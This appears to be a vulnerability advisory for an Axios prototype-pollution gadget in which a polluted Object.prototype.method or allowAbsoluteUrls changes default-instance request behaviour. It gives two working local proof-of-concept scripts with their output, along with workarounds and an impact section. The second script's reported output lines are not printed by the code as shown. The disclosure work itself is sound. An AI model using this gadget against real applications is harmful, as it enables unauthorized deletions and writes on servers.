Axios: Prototype-Pollution Gadget in the Default Instance Allows Inherited Object.prototype.method to Override HTTP Method

Proof of Concept of Attack

Constrained local demonstration:

Object.prototype.method = 'DELETE';
try {
  await axios.request({ url: 'http://127.0.0.1:<port>/resource' });
} finally {
  delete Object.prototype.method;
}

Expected safe behavior is a GET request. Current affected behavior sends DELETE on the default instance when no method is provided.

Workarounds

Use explicit method aliases such as axios.get() or set an own method on request configs. Avoid default-instance shorthand for requests in processes where prototype pollution is suspected or possible.

Summary

Axios 1.17.0 contains a read-side prototype-pollution gadget in the default Axios instance. If another vulnerability in the same Node.js process pollutes Object.prototype.method, default-instance calls such as axios.request({ url }) and axios({ url }) can be forced to use an attacker-controlled HTTP method, such as DELETE, instead of the expected default GET.

Axios does not create the prototype pollution by itself. The issue is that Axios reads fallback values from this.defaults without an own-property guard, allowing inherited values from Object.prototype to influence request behavior.

This should be treated as a prototype-pollution gadget, not as a standalone prototype-pollution source. In other words, Axios is not the component that lets the attacker write to Object.prototype; Axios is the component that becomes dangerous after Object.prototype has already been polluted by another bug in the same process.

Details

The vulnerable fallback read is in lib/core/Axios.js:

// Set config.allowAbsoluteUrls
if (config.allowAbsoluteUrls !== undefined) {
  // do nothing
} else if (this.defaults.allowAbsoluteUrls !== undefined) {
  config.allowAbsoluteUrls = this.defaults.allowAbsoluteUrls;
} else {
  config.allowAbsoluteUrls = true;
}

// Set config.method
config.method = (config.method || this.defaults.method || 'get').toLowerCase();

The merged request config is created as a null-prototype object in lib/core/mergeConfig.js:

const config = Object.create(null);

Therefore, when the caller does not provide config.method, the fallback becomes:

this.defaults.method

The default Axios instance uses the module defaults object. In the tested version, that defaults object is affected by inherited properties from Object.prototype. If Object.prototype.method is polluted, this.defaults.method resolves to that inherited value and Axios uses it as the request method.

The same unsafe inherited-property pattern also affects this.defaults.allowAbsoluteUrls, which can change how absolute URLs are combined with baseURL.

Proof of Concept

Access and Attack Conditions

No admin access is required for Axios itself. This is a library-level gadget.

The attacker must have an existing way to pollute Object.prototype in the same Node.js process, for example through a separate prototype-pollution vulnerability in another dependency or application input path. Axios is the gadget that turns that pollution into dangerous HTTP request behavior.

Required condition:

Some other bug or unsafe merge path in the application must allow Object.prototype pollution.

What Axios contributes:

Axios reads inherited Object.prototype.method through this.defaults.method and uses it as the HTTP method fallback.

What Axios does not do:

Axios does not create Object.prototype pollution by itself.

Affected usage:

axios.request({ url });
axios({ url });

Not affected in the confirmed PoC:

axios.get(url);
axios.request({ url, method: "GET" });
axios.create().request({ url });

Reproduction Steps

1. Create a clean test directory and install Axios 1.17.0:

mkdir axios-validation
cd axios-validation
npm init -y
npm install [email protected] --no-audit --no-fund

2. Save the method override PoC below as:

validate-prototype-method-gadget.mjs

3. Run the PoC:

node validate-prototype-method-gadget.mjs

4. Confirm that the output shows:

defaultRequestMethod=DELETE
defaultShorthandMethod=DELETE
getAliasMethod=GET
explicitGetMethod=GET
createdInstanceMethod=GET
RESULT: CONFIRMED

5. This proves that after Object.prototype.method = "DELETE", default-instance calls that omit an explicit method are sent as DELETE.

What the Method PoC Script Does

The PoC starts a temporary local HTTP server for each Axios call and records the HTTP method received by that server. It then simulates an already-existing prototype-pollution condition by setting:

Object.prototype.method = "DELETE";

While that pollution is active, the script sends five Axios requests:

axios.request({ url });                 // expected vulnerable path
axios({ url });                         // expected vulnerable shorthand path
axios.get(url);                         // expected safe alias path
axios.request({ url, method: "GET" });  // expected safe explicit-method path
axios.create().request({ url });        // expected safe isolated-instance path

The script then deletes the polluted property:

delete Object.prototype.method;

Finally, it prints the method observed by the local server for each request. The vulnerable behavior is confirmed when the default Axios instance sends DELETE for axios.request({ url }) and axios({ url }), while the safe comparison paths still send GET.

Method Override PoC

Create validate-prototype-method-gadget.mjs:

import http from "node:http";
import axios from "axios";

async function listen(server) {
  await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve));
  return server.address().port;
}

async function runRequest(label, requestFn) {
  const hits = [];
  const server = http.createServer((req, res) => {
    hits.push({
      method: req.method,
      url: req.url,
    });
    res.writeHead(200, { "content-type": "application/json" });
    res.end(JSON.stringify({ ok: true }));
  });

  const port = await listen(server);
  const url = `http://127.0.0.1:${port}/${label}`;

  let status = "completed";
  let error = "";
  try {
    await requestFn(url);
  } catch (err) {
    status = "error";
    error = err?.message || String(err);
  }

  server.close();
  return { label, status, error, hits };
}

const results = [];

Object.prototype.method = "DELETE";
try {
  results.push(await runRequest("default-request-no-method", (url) => axios.request({ url })));
  results.push(await runRequest("default-shorthand-no-method", (url) => axios({ url })));
  results.push(await runRequest("default-get-alias", (url) => axios.get(url)));
  results.push(await runRequest("default-request-explicit-get", (url) => axios.request({ url, method: "GET" })));

  const instance = axios.create();
  results.push(await runRequest("created-instance-request-no-method", (url) => instance.request({ url })));
} finally {
  delete Object.prototype.method;
}

const defaultRequestMethod = results.find((r) => r.label === "default-request-no-method")?.hits[0]?.method || "";
const defaultShorthandMethod = results.find((r) => r.label === "default-shorthand-no-method")?.hits[0]?.method || "";
const getAliasMethod = results.find((r) => r.label === "default-get-alias")?.hits[0]?.method || "";
const explicitGetMethod = results.find((r) => r.label === "default-request-explicit-get")?.hits[0]?.method || "";
const createdInstanceMethod = results.find((r) => r.label === "created-instance-request-no-method")?.hits[0]?.method || "";

console.log(`axiosVersion=${axios.VERSION}`);
console.log(`results=${JSON.stringify(results)}`);
console.log(`defaultRequestMethod=${defaultRequestMethod}`);
console.log(`defaultShorthandMethod=${defaultShorthandMethod}`);
console.log(`getAliasMethod=${getAliasMethod}`);
console.log(`explicitGetMethod=${explicitGetMethod}`);
console.log(`createdInstanceMethod=${createdInstanceMethod}`);

const confirmed =
  defaultRequestMethod === "DELETE" &&
  defaultShorthandMethod === "DELETE" &&
  getAliasMethod === "GET" &&
  explicitGetMethod === "GET" &&
  createdInstanceMethod === "GET";

console.log(confirmed ? "RESULT: CONFIRMED" : "RESULT: NOT CONFIRMED");
process.exitCode = confirmed ? 0 : 1;

Run:

node validate-prototype-method-gadget.mjs

Observed result:

axiosVersion=1.17.0
defaultRequestMethod=DELETE
defaultShorthandMethod=DELETE
getAliasMethod=GET
explicitGetMethod=GET
createdInstanceMethod=GET
RESULT: CONFIRMED

The local server received:

axios.request({ url })              -> DELETE
axios({ url })                      -> DELETE
axios.get(url)                      -> GET
axios.request({ url, method:"GET" }) -> GET
axios.create().request({ url })     -> GET

This confirms that inherited Object.prototype.method controls the default method for vulnerable default-instance request paths.

Supporting allowAbsoluteUrls Gadget Evidence

The same inherited-property issue affects allowAbsoluteUrls.

Create validate-prototype-allowabsoluteurls-gadget.mjs:

import http from "node:http";
import axios from "axios";

async function listen(server) {
  await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve));
  return server.address().port;
}

async function runCase(label, requestFn) {
  const baseHits = [];
  const absoluteHits = [];

  const baseServer = http.createServer((req, res) => {
    baseHits.push({ method: req.method, url: req.url, host: req.headers.host || "" });
    res.end("base");
  });

  const absoluteServer = http.createServer((req, res) => {
    absoluteHits.push({ method: req.method, url: req.url, host: req.headers.host || "" });
    res.end("absolute");
  });

  const basePort = await listen(baseServer);
  const absolutePort = await listen(absoluteServer);

  try {
    await requestFn({
      baseURL: `http://127.0.0.1:${basePort}/api`,
      url: `http://127.0.0.1:${absolutePort}/absolute-path`,
    });
  } catch {}

  baseServer.close();
  absoluteServer.close();

  return { label, baseHits, absoluteHits };
}

const results = [];

results.push(await runCase("baseline-no-pollution", (config) => axios.request(config)));

Object.prototype.allowAbsoluteUrls = false;
try {
  results.push(await runCase("polluted-default-request", (config) => axios.request(config)));
  const instance = axios.create();
  results.push(await runCase("polluted-created-instance", (config) => instance.request(config)));
} finally {
  delete Object.prototype.allowAbsoluteUrls;
}

console.log(`axiosVersion=${axios.VERSION}`);
console.log(`results=${JSON.stringify(results)}`);

Observed result:

axiosVersion=1.17.0
baselineUsedAbsolute=true
pollutedDefaultUsedBase=true
pollutedInstanceUsedAbsolute=true
RESULT: CONFIRMED

Without pollution, Axios sends the request to the absolute URL. After Object.prototype.allowAbsoluteUrls = false, the default Axios instance combines the absolute URL with baseURL and sends the request to the base server instead. An instance created with axios.create() remains unaffected.

Impact

This is a prototype-pollution gadget. It becomes exploitable when an application has any separate prototype-pollution primitive that allows an attacker to set properties on Object.prototype in the same Node.js process.

If such pollution is possible, an attacker can influence Axios default-instance requests that omit an explicit method:

• axios.request({ url })
• axios({ url })

This can turn an expected safe default GET request into a state-changing method such as:

• DELETE
• POST
• PUT
• PATCH

Potential impact includes unauthorized state-changing requests, deletion of resources, unintended writes, data corruption, or denial of service when the target endpoint treats the HTTP method as security-relevant.

The issue does not require admin access to Axios itself, but it does require an existing prototype-pollution path in the application. Applications that always use explicit methods, method aliases such as axios.get(), or isolated instances created through axios.create() are not affected by the confirmed method-override path.